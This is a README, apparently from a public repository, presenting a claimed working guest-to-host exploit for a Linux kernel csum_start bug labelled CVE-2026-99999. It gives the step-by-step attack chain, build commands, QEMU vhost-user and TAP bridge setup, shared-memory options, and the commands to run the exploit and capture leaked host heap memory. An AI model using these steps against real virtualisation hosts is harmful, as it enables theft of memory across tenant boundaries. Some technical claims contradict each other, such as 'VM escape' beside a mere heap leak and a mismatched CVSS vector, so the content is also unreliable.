01luyicheng/cve-2026-99999-exploitPoC funzionante per CVE-2026-99999 — vera evasione dalla VM per il bug csum_start del kernel Linux (CVSS 9.3). Perdita di heap da Guest a Host. Vedi anche: CVE-2026-99999-analysis (Educational).
⚠️ Questo è un repository di exploit funzionante. Contiene codice di exploit reale che attiva la vulnerabilità CVE-2026-99999 in un ambiente KVM/QEMU attivo.
📚 Per una simulazione sicura e solo locale della stessa catena di attacco, vedi CVE-2026-99999-analysis (nessun root, nessuna rete, puro Python — ottimo per comprendere il bug senza un laboratorio).
CVE-2026-99999 — Bug di validazione di csum_start IPv4 nel kernel Linux nel percorso di
segmentazione GSO. Una VM guest può far trapelare ~32–64 byte di memoria heap del kernel host
per ogni frammento di pacchetto in uscita.
CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Kernel interessati: Tutti precedenti ai commit di correzione:
5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+Modello di attaccante: Codice non privilegiato all'interno di una VM guest KVM.
.
├── README.md ← This file
├── guest/
│ ├── exploit_guest.c ← Exploit (guest side)
│ ├── Makefile
│ └── README.md
└── host/
├── receive_and_dump.py ← Leak detector (host side)
└── setup_bridge.sh ← TAP bridge setup (host side)
1. GUEST: build_crafted_packet()
└── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
↑
csum_start=0 → points at IP header, NOT transport header
2. GUEST → QEMU (vhost-user)
└── Guest enqueues packet via TX virtqueue
└── QEMU reads descriptor → pulls malicious frame
3. HOST KERNEL: GSO segmentation path
└── skb_checksum_help() reads csum_start (0) and csum_offset (0)
└── Writes checksum result to byte 0 = IHL byte
4. HOST KERNEL: IHL corruption
└── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)
5. HOST KERNEL: ip_do_fragment() OOB read
└── Reads 60 bytes of "IP header" when only 20 bytes exist
└── Bytes 20-60 are adjacent host-kernel heap memory!
6. HOST: Outbound fragment
└── Each fragment contains ~32-64 bytes of host-kernel heap memory
└── Captured by receive_and_dump.py on the host bridge
# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help
Requisiti:
-netdev vhost-user,...memfd o tmpfs# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
-m 2G -smp 2 \
-hda /path/to/guest.img \
-netdev vhost-user,id=net0,chardev=char0 \
-device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
-chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
-enable-kvm \
-nographic
# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v
Richiede:
CAP_NET_RAW nel guestbridge-nf-call-iptables=1 sull'host (per il percorso GSO)# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v
L'exploit richiede che QEMU sia in grado di leggere la memoria della virtqueue TX del guest. Senza memoria condivisa, QEMU non può leggere i descrittori — i pacchetti vengono accodati ma mai trasmessi.
Per i test, utilizzare una delle seguenti opzioni:
# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU
# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region
# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE
Il trigger della CVE richiede che il kernel host elabori il frame attraverso il percorso di segmentazione GSO. Ciò avviene quando:
IP_MF (More Fragments) impostato — forzando la frammentazioneL'exploit imposta IP_MF in ogni pacchetto per garantire la segmentazione GSO.
Il rilevatore lato host (receive_and_dump.py) identifica CVE-2026-99999 tramite:
version_ihl & 0x0F > 5)guest/exploit_guest.c ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh ← TAP bridge setup helper script
vhost-user e che il socket esistals -la /tmp/vhost.sock-device virtio-net-pci,netdev=net0,csum=off,host_csum=off — abilita, non disabilitareuname -rIP_MF sia impostato sui pacchetti in uscitasudosudo per la cattura dei pacchetti e la configurazione TAPSolo per ricerca di sicurezza autorizzata in ambienti di laboratorio isolati. L'uso non autorizzato contro sistemi di cui non sei proprietario o per cui non disponi di permesso scritto di test è illegale. Gli autori non si assumono alcuna responsabilità per usi impropri.